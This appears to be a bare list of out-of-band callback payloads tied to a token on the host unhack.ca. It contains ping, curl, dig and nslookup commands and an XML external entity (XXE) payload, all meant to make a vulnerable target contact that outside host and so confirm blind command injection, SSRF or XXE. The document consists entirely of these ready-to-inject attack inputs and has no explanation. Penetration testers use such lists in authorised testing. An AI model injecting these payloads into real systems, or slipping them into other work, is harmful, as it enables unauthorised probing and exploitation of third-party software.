$ ping -c1 -p 000682abf18c1a7a8c0aa5555bc1c300 unhack.ca
 

$ curl http://unhack.ca/p/0682abf18c1a7a8c0aa5555bc1c3
 

$ dig 0682abf18c1a7a8c0aa5555bc1c3 @unhack.ca
 

$ dig 0682abf18c1a7a8c0aa5555bc1c3.ns.unhack.ca
 

C:\> nslookup 0682abf18c1a7a8c0aa5555bc1c3 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/0682abf18c1a7a8c0aa5555bc1c3">]>
    <foo>&xxe;</foo>